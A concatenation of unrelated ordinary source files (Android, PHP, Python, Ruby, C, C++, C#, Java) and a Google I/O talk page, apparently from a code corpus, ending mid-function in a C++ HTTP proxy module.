import jxpl.scnu.curb.utils.autoFitRecycler.BaseData;

import static com.google.common.base.Preconditions.checkNotNull;

/**
 * @author iri-jwj
 * @version 1
 */
public class ScholatFragment extends Fragment implements ScholatContract.View {
    @BindView(R.id.scholat_recycler)
    AutoFitRecyclerView m_ScholatRecycler;
    @BindView(R.id.scholat_refresh)
    ScrollChildSwipeRefreshLayout m_ScholatRefresh;
    @BindView(R.id.frameLayout)
    ConstraintLayout m_FrameLayout;
    Unbinder unbinder;
    private Activity m_activity;
    private ScholatContract.Presenter m_presenter;
    private ScholatAdapter m_scholatAdapter;

    public ScholatFragment() {
        // Required empty public constructor
    }

    public static ScholatFragment newInstance() {
        ScholatFragment fragment = new ScholatFragment();
        Bundle args = new Bundle();
        fragment.setArguments(args);
        return fragment;
    }

    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

    }

    @Override
    public View onCreateView(@NonNull LayoutInflater inflater, ViewGroup container,
                             Bundle savedInstanceState) {
        // Inflate the layout for this fragment
        View view = inflater.inflate(R.layout.fragment_scholat, container, false);
        unbinder = ButterKnife.bind(this, view);
        LinearLayoutManager lc_linearLayoutManager = new LinearLayoutManager(m_activity);
        m_ScholatRecycler.setLayoutManager(lc_linearLayoutManager);
        m_scholatAdapter = new ScholatAdapter(checkNotNull(getContext()), m_ScholatRecycler);
        m_ScholatRecycler.setAdapter(m_scholatAdapter);
        m_ScholatRecycler.addItemDecoration(new DividerItemDecoration(
                checkNotNull(getActivity()), DividerItemDecoration.HORIZONTAL));

        m_ScholatRefresh.setScrollUpChild(m_ScholatRecycler);
        m_ScholatRefresh.canChildScrollUp();
        m_ScholatRefresh.setOnRefreshListener(new SwipeRefreshLayout.OnRefreshListener() {
            @Override
            public void onRefresh() {
                m_presenter.loadScholats(true);
            }
        });

        return view;
    }

    @Override
    public void onViewCreated(@NonNull View view, @Nullable Bundle savedInstanceState) {
        super.onViewCreated(view, savedInstanceState);
        m_presenter.start();
    }

    @Override
    public void setPresenter(ScholatContract.Presenter presenter) {
        m_presenter = presenter;
    }

    @Override
    public void onDestroyView() {
        super.onDestroyView();
        unbinder.unbind();
    }

    @Override
    public void showMessage(String message) {
        Snackbar.make(checkNotNull(getView()), message, 1300).show();
    }

    @Override
    public void showScholats(List<ScholatHomework> para_homeworkList) {
        List<BaseData> lc_baseData = new LinkedList<>();
        lc_baseData.addAll(para_homeworkList);
        m_scholatAdapter.replaceData(lc_baseData);
    }

    @Override
    public void setLoadingIndicator(final boolean active) {
        if (getView() == null)
            return;
        m_ScholatRefresh.post(new Runnable() {
            @Override
            public void run() {
                m_ScholatRefresh.setRefreshing(active);
            }
        });
    }

    @Override
    public void setActivity(Activity para_activity) {
        m_activity = checkNotNull(para_activity);
    }
}


text:
<?php

namespace ChrisDiss\WebsiteBundle\Entity;

use Doctrine\ORM\Mapping as ORM;

/**
 * Evaluation of a single Question.
 *
 * @ORM\Entity
 */
class AnswerEvaluation
{
    /**
     * Artificial (Doctrine) id of the Answer Evaluation.
     *
     * @ORM\Column(type="integer")
     * @ORM\Id
     * @ORM\GeneratedValue(strategy="AUTO")
     *
     * @var int|null
     */
    protected $id;

    /**
     * User that has given the Answer that is evaluated.
     *
     * @ORM\ManyToOne(targetEntity="User", inversedBy="answerEvaluations")
     * @ORM\JoinColumn(name="user_id", referencedColumnName="id", nullable=false)
     * @var User
     **/
    private $user;

    /**
     * Result of thee valuation, e.g. 'markedWrongAnswer'.
     *
     * @ORM\Column(type="string", nullable=false)
     * @var string
     */
    private $result;

    /**
     * Creation timestamp of this evaluation.
     *
     * @ORM\Column(type="datetime", nullable=false)
     * @var |DateTime
     */
    private $createdAt;

    /**
     * Constructor.
     *
     * @param User $user
     * @param string $result
     * @param \DateTime $createdAt
     */
    function __construct(User $user, $result, \DateTime $createdAt)
    {
        $this->user = $user;
        $this->result = $result;
        $this->createdAt = $createdAt;
    }
}


text:
from __future__ import print_function

from concurrent import futures
from moneywagon import get_address_balance, get_current_price
from moneywagon.core import NoService

def fetch_wallet_balances(wallets, fiat, **modes):
    """
    Wallets must be list of two item lists. First item is crypto, second item
    is the address. example:

    [
        ['btc', '1ACMqsyyuoggTpiHqGePuFSVzk54wfZWDv'],
        ['ltc', 'Lb78JDGxMcih1gs3AirMeRW6jaG5V9hwFZ']
    ]
    """
    price_fetch = set([x[0] for x in wallets])
    balances = {}
    prices = {}

    fetch_length = len(wallets) + len(price_fetch)

    helpers = {fiat.lower(): {}}
    if not modes.get('async', False):
        # synchronous fetching
        for crypto in price_fetch:
            try:
                p = get_current_price(
                    crypto, fiat, helper_prices=helpers, report_services=True, **modes
                )
                prices[crypto] = {'price': p}
                if crypto in ['btc', 'ltc', 'doge', 'uno']:
                    helpers[fiat.lower()][crypto] = p
            except NoService as exc:
                prices[crypto] = {'error': str(exc)}

        for crypto, address in wallets:
            if address.replace('.', '').isdigit():
                balances[address] = {'balance': float(address)}
                continue

            try:
                balances[address] = {'balance': get_address_balance(crypto, address.strip(), **modes)}
            except NoService as exc:
                balances[address] = {'error': str(exc)}

    else:
        # asynchronous fetching
        if modes.get('verbose', False):
            print("Need to make", fetch_length, "external calls")

        with futures.ThreadPoolExecutor(max_workers=int(fetch_length / 2)) as executor:
            future_to_key = dict(
                (executor.submit(
                    get_current_price, crypto, fiat, report_services=True, **modes
                ), crypto) for crypto in price_fetch
            )

            future_to_key.update(dict(
                (executor.submit(
                    get_address_balance, crypto, address.strip(), **modes
                ), address) for crypto, address in wallets
            ))

            done, not_done = futures.wait(future_to_key, return_when=futures.ALL_COMPLETED)
            if len(not_done) > 0:
                print (not_done)
                import debug
                raise Exception("Broke") #not_done.pop().exception()

            for future in done:
                key = future_to_key[future]
                if len(key) > 5: # this will break if a crypto symbol is longer than 5 chars.
                    which = balances
                else:
                    which = prices

                res = future.result()
                which[key] = res

    ret = []

    for crypto, address in wallets:
        error = None
        if 'balance' in balances[address]:
            crypto_value = balances[address]['balance']
        else:
            crypto_value = 0
            error = balances[address]['error']

        if 'price' in prices[crypto]:
            sources, fiat_price = prices[crypto]['price']
        else:
            sources, fiat_price = [None], 0
            error = prices[crypto]['error']

        ret.append({
            'crypto': crypto,
            'address': address,
            'crypto_value': crypto_value,
            'fiat_value': (crypto_value or 0) * (fiat_price or 0),
            'conversion_price': fiat_price,
            'price_source': sources[0].name,
            'error': error
        })

    return ret


text:
project_path: /web/_project.yaml
book_path: /web/shows/_book.yaml

{# wf_updated_on: 2016-05-19 #}
{# wf_published_on: 2016-05-19 #}
{# wf_youtube_id: zfQoleQEa4w #}

# Practical lessons from a year of building web components - Google I/O 2016 {: .page-title }

<div class="video-wrapper">
  <iframe class="devsite-embedded-youtube-video" data-video-id="zfQoleQEa4w"
          data-autohide="1" data-showinfo="0" frameborder="0" allowfullscreen>
  </iframe>
</div>

Web components are the new shiny thing on the web, but what makes a good web component? How do you design a useful API that works for all of your users and all of their browsers? How do you make it render quickly and how do you teach people how to use it? After a year of working on the Polymer Elements, I've made sure to make all the possible mistakes so that you don't have to. This talk is about the things I've learned from that.

* Watch more Chrome talks at I/O 2016 here: <https://goo.gl/JoMLpB>
* See all the talks from Google I/O 2016 here: <https://goo.gl/olw6kV>
* Subscribe to the Chrome Developers channel at <https://goo.gl/LLLNvf>

`#io16` `#GoogleIO` `#GoogleIO2016`


text:
/* $OpenBSD: auth-krb5.c,v 1.20 2013/07/20 01:55:13 djm Exp $ */
/*
 *    Kerberos v5 authentication and ticket-passing routines.
 *
 * $FreeBSD: src/crypto/openssh/auth-krb5.c,v 1.6 2001/02/13 16:58:04 assar Exp $
 */
/*
 * Copyright (c) 2002 Daniel Kouril.  All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 */

#include "includes.h"

#include <sys/types.h>
#include <pwd.h>
#include <stdarg.h>

#include "xmalloc.h"
#include "ssh.h"
#include "ssh1.h"
#include "packet.h"
#include "log.h"
#include "buffer.h"
#include "servconf.h"
#include "uidswap.h"
#include "key.h"
#include "hostfile.h"
#include "auth.h"

#ifdef KRB5
#include <errno.h>
#include <unistd.h>
#include <string.h>
#include <krb5.h>

extern ServerOptions	 options;

static int
krb5_init(void *context)
{
	Authctxt *authctxt = (Authctxt *)context;
	krb5_error_code problem;

	if (authctxt->krb5_ctx == NULL) {
		problem = krb5_init_context(&authctxt->krb5_ctx);
		if (problem)
			return (problem);
	}
	return (0);
}

int
auth_krb5_password(Authctxt *authctxt, const char *password)
{
#ifndef HEIMDAL
	krb5_creds creds;
	krb5_principal server;
#endif
	krb5_error_code problem;
	krb5_ccache ccache = NULL;
	int len;
	char *client, *platform_client;
	const char *errmsg;

	/* get platform-specific kerberos client principal name (if it exists) */
	platform_client = platform_krb5_get_principal_name(authctxt->pw->pw_name);
	client = platform_client ? platform_client : authctxt->pw->pw_name;

	temporarily_use_uid(authctxt->pw);

	problem = krb5_init(authctxt);
	if (problem)
		goto out;

	problem = krb5_parse_name(authctxt->krb5_ctx, client,
		    &authctxt->krb5_user);
	if (problem)
		goto out;

#ifdef HEIMDAL
# ifdef HAVE_KRB5_CC_NEW_UNIQUE
	problem = krb5_cc_new_unique(authctxt->krb5_ctx,
	     krb5_mcc_ops.prefix, NULL, &ccache);
# else
	problem = krb5_cc_gen_new(authctxt->krb5_ctx, &krb5_mcc_ops, &ccache);
# endif
	if (problem)
		goto out;

	problem = krb5_cc_initialize(authctxt->krb5_ctx, ccache,
		authctxt->krb5_user);
	if (problem)
		goto out;

	restore_uid();

	problem = krb5_verify_user(authctxt->krb5_ctx, authctxt->krb5_user,
	    ccache, password, 1, NULL);

	temporarily_use_uid(authctxt->pw);

	if (problem)
		goto out;

# ifdef HAVE_KRB5_CC_NEW_UNIQUE
	problem = krb5_cc_new_unique(authctxt->krb5_ctx,
	     krb5_fcc_ops.prefix, NULL, &authctxt->krb5_fwd_ccache);
# else
	problem = krb5_cc_gen_new(authctxt->krb5_ctx, &krb5_fcc_ops,
	    &authctxt->krb5_fwd_ccache);
# endif
	if (problem)
		goto out;

	problem = krb5_cc_copy_cache(authctxt->krb5_ctx, ccache,
	    authctxt->krb5_fwd_ccache);
	krb5_cc_destroy(authctxt->krb5_ctx, ccache);
	ccache = NULL;
	if (problem)
		goto out;

#else
	problem = krb5_get_init_creds_password(authctxt->krb5_ctx, &creds,
	    authctxt->krb5_user, (char *)password, NULL, NULL, 0, NULL, NULL);
	if (problem)
		goto out;

	problem = krb5_sname_to_principal(authctxt->krb5_ctx, NULL, NULL,
	    KRB5_NT_SRV_HST, &server);
	if (problem)
		goto out;

	restore_uid();
	problem = krb5_verify_init_creds(authctxt->krb5_ctx, &creds, server,
	    NULL, NULL, NULL);
	krb5_free_principal(authctxt->krb5_ctx, server);
	temporarily_use_uid(authctxt->pw);
	if (problem)
		goto out;

	if (!krb5_kuserok(authctxt->krb5_ctx, authctxt->krb5_user, client)) {
		problem = -1;
		goto out;
	}

	problem = ssh_krb5_cc_gen(authctxt->krb5_ctx, &authctxt->krb5_fwd_ccache);
	if (problem)
		goto out;

	problem = krb5_cc_initialize(authctxt->krb5_ctx, authctxt->krb5_fwd_ccache,
				     authctxt->krb5_user);
	if (problem)
		goto out;

	problem= krb5_cc_store_cred(authctxt->krb5_ctx, authctxt->krb5_fwd_ccache,
				 &creds);
	if (problem)
		goto out;
#endif

	authctxt->krb5_ticket_file = (char *)krb5_cc_get_name(authctxt->krb5_ctx, authctxt->krb5_fwd_ccache);

	len = strlen(authctxt->krb5_ticket_file) + 6;
	authctxt->krb5_ccname = xmalloc(len);
	snprintf(authctxt->krb5_ccname, len, "FILE:%s",
	    authctxt->krb5_ticket_file);

#ifdef USE_PAM
	if (options.use_pam)
		do_pam_putenv("KRB5CCNAME", authctxt->krb5_ccname);
#endif

 out:
	restore_uid();

	free(platform_client);

	if (problem) {
		if (ccache)
			krb5_cc_destroy(authctxt->krb5_ctx, ccache);

		if (authctxt->krb5_ctx != NULL && problem!=-1) {
			errmsg = krb5_get_error_message(authctxt->krb5_ctx,
			    problem);
 			debug("Kerberos password authentication failed: %s",
			    errmsg);
			krb5_free_error_message(authctxt->krb5_ctx, errmsg);
		} else
			debug("Kerberos password authentication failed: %d",
			    problem);

		krb5_cleanup_proc(authctxt);

		if (options.kerberos_or_local_passwd)
			return (-1);
		else
			return (0);
	}
	return (authctxt->valid ? 1 : 0);
}

void
krb5_cleanup_proc(Authctxt *authctxt)
{
	debug("krb5_cleanup_proc called");
	if (authctxt->krb5_fwd_ccache) {
		krb5_cc_destroy(authctxt->krb5_ctx, authctxt->krb5_fwd_ccache);
		authctxt->krb5_fwd_ccache = NULL;
	}
	if (authctxt->krb5_user) {
		krb5_free_principal(authctxt->krb5_ctx, authctxt->krb5_user);
		authctxt->krb5_user = NULL;
	}
	if (authctxt->krb5_ctx) {
		krb5_free_context(authctxt->krb5_ctx);
		authctxt->krb5_ctx = NULL;
	}
}

#ifndef HEIMDAL
krb5_error_code
ssh_krb5_cc_gen(krb5_context ctx, krb5_ccache *ccache) {
	int tmpfd, ret, oerrno;
	char ccname[40];
	mode_t old_umask;

	ret = snprintf(ccname, sizeof(ccname),
	    "FILE:/tmp/krb5cc_%d_XXXXXXXXXX", geteuid());
	if (ret < 0 || (size_t)ret >= sizeof(ccname))
		return ENOMEM;

	old_umask = umask(0177);
	tmpfd = mkstemp(ccname + strlen("FILE:"));
	oerrno = errno;
	umask(old_umask);
	if (tmpfd == -1) {
		logit("mkstemp(): %.100s", strerror(oerrno));
		return oerrno;
	}

	if (fchmod(tmpfd,S_IRUSR | S_IWUSR) == -1) {
		oerrno = errno;
		logit("fchmod(): %.100s", strerror(oerrno));
		close(tmpfd);
		return oerrno;
	}
	close(tmpfd);

	return (krb5_cc_resolve(ctx, ccname, ccache));
}
#endif /* !HEIMDAL */
#endif /* KRB5 */


text:
package com.solwars.game.screens.menu;

import com.badlogic.gdx.Game;
import com.badlogic.gdx.Gdx;
import com.badlogic.gdx.scenes.scene2d.InputEvent;
import com.badlogic.gdx.scenes.scene2d.Stage;
import com.badlogic.gdx.scenes.scene2d.ui.*;
import com.badlogic.gdx.scenes.scene2d.utils.ClickListener;
import com.badlogic.gdx.utils.Align;
import com.solwars.game.ResourcesManager;

/**
 * Contains all elements that will goto the Settings screen of the GameInstance Menu (Currently just for volume control)
 */
public class menuSettings extends _mDefaultScreen {

    Stage stage = new Stage();
    Skin skin = ResourcesManager.getInstance().theme;
    private TextButton buttonBack;
    private Label textVolume;
    private Slider slidVolume;
    public float x = 0;

    public menuSettings(Game game){
        super(game);

    }

    public void setInput(){
        Gdx.input.setInputProcessor(stage);// Make the stage consume events
    }

    @Override
    public void show(){

        buttonBack = new TextButton("Back", skin);
        buttonBack.setSize(108, 108);
        buttonBack.addListener(new ClickListener(){
            @Override
            public void clicked(InputEvent event, float x, float y){
                Menu.getInstance().setTransition(Menu.getInstance().mMain, true);
                buttonBack.setChecked(false);
            }});

        slidVolume = new Slider(0f,100f,1f,false, skin);
        slidVolume.setSize(480, 108);

        textVolume = new Label("Volume", skin);
        textVolume.setSize(480, 108);
        textVolume.setAlignment(Align.center);

        setPositions();

        stage.addActor(textVolume);
        stage.addActor(slidVolume);
        stage.addActor(buttonBack);
    }
    @Override
    public void setPositions(){
        buttonBack.setPosition(Gdx.graphics.getWidth()/2 - Gdx.graphics.getWidth()/8 + this.x - 148, (Gdx.graphics.getHeight()/2) + 148);
        textVolume.setPosition(Gdx.graphics.getWidth()/2 - Gdx.graphics.getWidth()/8 + this.x, Gdx.graphics.getHeight()/2);
        slidVolume.setPosition(Gdx.graphics.getWidth()/2 - Gdx.graphics.getWidth()/8 + this.x, Gdx.graphics.getHeight()/2 - 100);
    }

    @Override
    public float getX(){
        return this.x;
    }

    @Override
    public void setX(float x){
        this.x = x;
        System.out.println("Set x as " + this.x);
        setPositions();

    }

    @Override
    public void render(float Delta){
        stage.act();
        stage.draw();
    }
}


text:
require_relative 'utilities'

module Ferry
  # TODO
  # things to consider for importer
  # - columns not matching and handling those errors
  class Importer < Utilities

    def row_sql_format(hash, columns, adapter)
      values = hash.values_at(*columns)
      values.map! do |value|
        if(adapter=="mysql2" && (value=='t' || value =='f'))
          value=='t' ? value=1 : value=0
        end
        value = ActiveRecord::Base::sanitize(value)
      end
      "(#{values.join(",")})"
    end

    def insert_sql(model, columns, values)
      col_names_sql = "(#{columns.join(",")})"
      model_sql = model.downcase
      sql_insert_beg = "INSERT INTO #{model_sql} #{col_names_sql} VALUES "
      ActiveRecord::Base.transaction do
        values.each_slice(500) do |records|
          sql_statement = sql_insert_beg + records.join(",") + ";"
          ActiveRecord::Base.connection.execute(sql_statement)
        end
      end
    end

    def import_csv(environment, model, filename)
      if(File.extname(filename) != ".csv")
        raise "Please choose a csv file"
        return false
      end
      db_connect(environment)
      adapter = YAML::load(IO.read("config/database.yml"))[environment]["adapter"]
      lines = CSV.read(filename)
      if(lines.nil?)
        raise "#{filename} file not found"
        return false
      end
      import_bar = ProgressBar.new("import", lines.length-1)
      col_names = lines.shift
      records = []
      lines.each do |line|
        record = Hash[col_names.zip line]
        records << record
      end
      values = []
      records.map do |record|
        values << row_sql_format(record, col_names, adapter)
        import_bar.inc
      end
      insert_sql(model, col_names, values)
      puts ""
      puts "csv imported to #{model} table"
    end

    def import_json(environment, model, filename)
      if(File.extname(filename) != ".json")
        raise "Please choose a json file"
        return false
      end
      db_connect(environment)
      adapter = YAML::load(IO.read("config/database.yml"))[environment]["adapter"]
      file = File.read(filename)
      column_titles = JSON.parse(file).first.keys
      data = JSON.parse(file)
      import_bar = ProgressBar.new("import", data.length-1)
      records = []
      data.each do |record|
        record = Hash[record]
        records << record
      end
      values = []
      records.map do |record|
        values << row_sql_format(record, column_titles, adapter)
        import_bar.inc
      end
      insert_sql(model, column_titles, values)
      puts ""
      puts "json imported to #{model} table"
    end

  end
end


text:
package com.diamondq.common.vertx.processor.tests;

import com.diamondq.common.context.ContextExtendedCompletionStage;
import com.diamondq.common.vertx.annotations.ProxyGen;

import org.checkerframework.checker.nullness.qual.Nullable;

@ProxyGen
public interface SimpleProxy {

  public ContextExtendedCompletionStage<String> getName();

  public ContextExtendedCompletionStage<@Nullable Void> setName(String pValue);

  public ContextExtendedCompletionStage<@Nullable Void> setTitle(@Nullable String pValue);

  public ContextExtendedCompletionStage<@Nullable Void> setWidth(int pWidth);

  public ContextExtendedCompletionStage<@Nullable Void> setHeight(short pWidth);

  public ContextExtendedCompletionStage<@Nullable Void> save();

}


text:
using Microsoft.ServiceFabric.Actors;
using Microsoft.ServiceFabric.Actors.Client;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

using FailureDetector.Interfaces;

namespace FailureDetector.Client
{
    class Program
    {
        static void Main(string[] args)
        {
            var senderProxy = ActorProxy.Create<IDriver>(new ActorId(0), "fabric:/FabricFailureDetector");
            var t = senderProxy.Start();
            t.Wait();
            Console.WriteLine("DONE!!!");
        }
    }
}


text:
<?xml version="1.0" encoding="utf-8" ?>
<shape xmlns:android="http://schemas.android.com/apk/res/android" android:shape="rectangle">
  <corners android:radius="20dp"/>
  <padding android:left="15dp" android:right="15dp" android:top="5dp" android:bottom="5dp"/>
  <solid android:color="#CCCCCC"/>
</shape>


text:
namespace Mordor {
namespace HTTP {

#ifdef WINDOWS
static std::ostream& operator<<(std::ostream& s,
                                const WINHTTP_PROXY_INFO& info);
#endif

static int compare(const std::string& s1, const std::string& s2);
static bool isMatch(const URI& uri, const std::string& pattern);

static ConfigVar<std::string>::ptr g_httpProxy =
    Config::lookup("http.proxy", std::string(),
    "HTTP Proxy Server");

static Logger::ptr proxyLog = Log::lookup("mordor:http:proxy");

std::vector<URI> proxyFromConfig(const URI &uri)
{
    return proxyFromList(uri, g_httpProxy->val());
}

std::vector<URI> proxyFromList(const URI &uri,
                               std::string proxy,
                               std::string bypassList)
{
    MORDOR_LOG_DEBUG(proxyLog) << "Finding proxy for URI " << uri.toString()
                               << ".";

    if (proxy.empty()) {
        MORDOR_LOG_DEBUG(proxyLog) << "Empty proxy string!";
        return std::vector<URI>();
    }

    // Split the proxy string on '!', and use the second part as the bypass
    // list. Note that the provided bypass list should be empty if the proxy
    // string includes a '!' character; see proxy.h.
    std::vector<std::string> parts;
    boost::split(parts, proxy, boost::is_any_of("!"));
    if (parts.size() > 1) {
        proxy = parts[0];
        if (bypassList.empty()) {
            bypassList = parts[1];
        }
    }

    // Does this URI match a pattern in the bypass list?
    std::vector<std::string> bypassEntries;
    boost::split(bypassEntries, bypassList, boost::is_any_of(";"));
    for (size_t i = 0; i < bypassEntries.size(); i++) {
        MORDOR_LOG_DEBUG(proxyLog) << "Considering bypass list entry \""
                                   << bypassEntries[i] << "\".";
        if (isMatch(uri, bypassEntries[i])) {
            MORDOR_LOG_DEBUG(proxyLog) << "Entry matched!";
            return std::vector<URI>();
        }
    }

    // Find the correct proxy for this URI scheme. We expect the list of proxies
    // to look like this:
    //
    //   list = proxy { ";" proxy }
    //   proxy = { scheme "=" } uri
    //
    // Proxies without a scheme are always included in the returned list. A
    // proxy with a scheme is only included if the scheme matches the scheme
    // of the provided uri.
    std::vector<URI> proxyList;
    std::vector<std::string> v;
    boost::split(v, proxy, boost::is_any_of(";"));
    for (size_t i = 0; i < v.size(); i++) {
        MORDOR_LOG_DEBUG(proxyLog) << "Considering proxy \"" << v[i] << "\".";

        // Match the scheme and the URI for each proxy in the list. See above.
        static const boost::regex e("(?:([a-zA-Z]+)=)?(.*)");
        boost::smatch m;
        if (!boost::regex_match(v[i], m, e)) {
            MORDOR_LOG_DEBUG(proxyLog) << "Invalid proxy \"" << v[i] << "\".";
            continue;
        }

        if (!m[1].matched || compare(m[1].str(), uri.scheme()) == 0) {
            // XXX The entry in the proxy list typically doesn't include the
            // scheme in the URI, so we use a regex here to parse it instead of
            // simply creating a Mordor::URI directly.
            std::string proxyURI = m[2].str();
            static const boost::regex uriRegex("(?:[a-zA-Z]+://)?(.*)");
            boost::smatch uriMatch;
            if (!boost::regex_match(proxyURI, uriMatch, uriRegex)) {
                MORDOR_LOG_DEBUG(proxyLog) << "Invalid proxy \"" << v[i]
                                           << "\".";
                continue;
            }

            std::ostringstream ss;
            ss << uri.scheme() << "://" << uriMatch[1].str();

            MORDOR_LOG_DEBUG(proxyLog) << "Proxy matches. Using proxy URI \""
                                       << ss.str() << "\".";
            proxyList.push_back(URI(ss.str()));
        }
    }

    return proxyList;
}

#ifdef WINDOWS

static std::vector<URI> proxyFromProxyInfo(const URI &uri,
    WINHTTP_PROXY_INFO &proxyInfo)
{
    std::vector<URI> result;
    std::string proxy, bypassList;
    try {
        if (proxyInfo.lpszProxy)
            proxy = toUtf8(proxyInfo.lpszProxy);
        if (proxyInfo.lpszProxyBypass)
            bypassList = toUtf8(proxyInfo.lpszProxyBypass);
    } catch (...) {
        if (proxyInfo.lpszProxy)
            GlobalFree(proxyInfo.lpszProxy);
        if (proxyInfo.lpszProxyBypass)
            GlobalFree(proxyInfo.lpszProxyBypass);
        throw;
    }
    if (proxyInfo.lpszProxy)
        GlobalFree(proxyInfo.lpszProxy);
    if (proxyInfo.lpszProxyBypass)
        GlobalFree(proxyInfo.lpszProxyBypass);
    switch (proxyInfo.dwAccessType) {
        case WINHTTP_ACCESS_TYPE_NAMED_PROXY:
            return proxyFromList(uri, proxy, bypassList);
        case WINHTTP_ACCESS_TYPE_NO_PROXY:
            return result;
        default:
            MORDOR_NOTREACHED();
    }
}

std::vector<URI> proxyFromMachineDefault(const URI &uri)
{
    WINHTTP_PROXY_INFO proxyInfo;
    if (!pWinHttpGetDefaultProxyConfiguration(&proxyInfo))
        MORDOR_THROW_EXCEPTION_FROM_LAST_ERROR_API("WinHttpGetDefaultProxyConfiguration");
    return proxyFromProxyInfo(uri, proxyInfo);
}

ProxySettings
getUserProxySettings()
{
    WINHTTP_CURRENT_USER_IE_PROXY_CONFIG proxyConfig;
    ProxySettings result;
    if (!pWinHttpGetIEProxyConfigForCurrentUser(&proxyConfig))
        MORDOR_THROW_EXCEPTION_FROM_LAST_ERROR_API("WinHttpGetIEProxyConfigForCurrentUser");
    try {
        result.autoDetect = !!proxyConfig.fAutoDetect;
        if (proxyConfig.lpszAutoConfigUrl)
            result.pacScript = toUtf8(proxyConfig.lpszAutoConfigUrl);
        if (proxyConfig.lpszProxy)
            result.proxy = toUtf8(proxyConfig.lpszProxy);
        if (proxyConfig.lpszProxyBypass)
            result.bypassList = toUtf8(proxyConfig.lpszProxyBypass);
    } catch (...) {
        if (proxyConfig.lpszAutoConfigUrl)
            GlobalFree(proxyConfig.lpszAutoConfigUrl);
        if (proxyConfig.lpszProxy)
            GlobalFree(proxyConfig.lpszProxy);
        if (proxyConfig.lpszProxyBypass)
            GlobalFree(proxyConfig.lpszProxyBypass);
        throw;
    }
    if (proxyConfig.lpszAutoConfigUrl)
        GlobalFree(proxyConfig.lpszAutoConfigUrl);
    if (proxyConfig.lpszProxy)
        GlobalFree(proxyConfig.lpszProxy);
    if (proxyConfig.lpszProxyBypass)
        GlobalFree(proxyConfig.lpszProxyBypass);
    return result;
}

ProxyCache::ProxyCache(const std::string &userAgent)
{
    m_hHttpSession = pWinHttpOpen(toUtf16(userAgent).c_str(),
        WINHTTP_ACCESS_TYPE_NO_PROXY,
        WINHTTP_NO_PROXY_NAME,
        WINHTTP_NO_PROXY_BYPASS,
        0);
    if (!m_hHttpSession && lastError() != ERROR_CALL_NOT_IMPLEMENTED)
        MORDOR_THROW_EXCEPTION_FROM_LAST_ERROR_API("WinHttpOpen");
}

ProxyCache::~ProxyCache()
{
    if (m_hHttpSession)
        pWinHttpCloseHandle(m_hHttpSession);
}

boost::mutex ProxyCache::s_cacheMutex;
bool ProxyCache::s_failedAutoDetect = false;
std::set<std::string> ProxyCache::s_invalidConfigURLs;

void ProxyCache::resetDetectionResultCache()
{
    boost::mutex::scoped_lock lock(s_cacheMutex);
    s_failedAutoDetect = false;
    s_invalidConfigURLs.clear();
}

bool ProxyCache::autoDetectProxy(const URI &uri, const std::string &pacScript,
                                 std::vector<URI> &proxyList)
{
    MORDOR_LOG_DEBUG(proxyLog) << "Auto-detecting proxy for URI \""
                               << uri.toString() << "\".";

    // We can't auto-detect or auto-configure without an HTTP session handle.
    if (!m_hHttpSession) {
        MORDOR_LOG_DEBUG(proxyLog) << "No HTTP session!";
        return false;
    }

    // Check to see we've already tried to process the provided PAC file URL,
    // and failed. Auto-detection and auto-configuration failures can take a
    // long time, so we want to avoid trying them repeatedly.
    {
        boost::mutex::scoped_lock lock(s_cacheMutex);
        if (pacScript.empty()) {
            if (s_failedAutoDetect) {
                MORDOR_LOG_DEBUG(proxyLog) << "Using cached auto-detection result.";
                return false;
            }
        } else {
            if (s_invalidConfigURLs.find(pacScript) != s_invalidConfigURLs.end()) {
                MORDOR_LOG_DEBUG(proxyLog) << "Using cached auto-config result.";
                return false;
            }
        }
    }

    WINHTTP_AUTOPROXY_OPTIONS options = {0};
    options.fAutoLogonIfChallenged = TRUE;
    std::wstring pacScriptW = toUtf16(pacScript);
    if (!pacScriptW.empty()) {
        options.dwFlags = WINHTTP_AUTOPROXY_CONFIG_URL;
        options.lpszAutoConfigUrl = pacScriptW.c_str();
    } else {
        options.dwFlags = WINHTTP_AUTOPROXY_AUTO_DETECT;
        options.dwAutoDetectFlags = WINHTTP_AUTO_DETECT_TYPE_DHCP |
                                    WINHTTP_AUTO_DETECT_TYPE_DNS_A;
    }

    WINHTTP_PROXY_INFO info = {0};
    if (!pWinHttpGetProxyForUrl(m_hHttpSession,
                                toUtf16(uri.toString()).c_str(),
                                &options,
                                &info)) {
        // Record the fact that this PAC file URL failed in our cache, so that
        // we don't attempt to run it again.
        {
            boost::mutex::scoped_lock lock(s_cacheMutex);
            if (pacScript.empty()) {
                s_failedAutoDetect = true;
            } else {
                s_invalidConfigURLs.insert(pacScript);
            }
        }

        error_t error = Mordor::lastError();
        MORDOR_LOG_ERROR(proxyLog) << "WinHttpGetProxyForUrl: (" << error
                                   << ") : " << uri.toString() << " : "
                                   << pacScript ;
        return false;
    }

    MORDOR_LOG_DEBUG(proxyLog) << "Auto-detected proxy: " << std::endl << info;
    proxyList = proxyFromProxyInfo(uri, info);
    return true;
}

std::vector<URI> ProxyCache::proxyFromUserSettings(const URI &uri)
{
    ProxySettings settings = getUserProxySettings();

    if (settings.autoDetect) {
        std::vector<URI> proxyList;
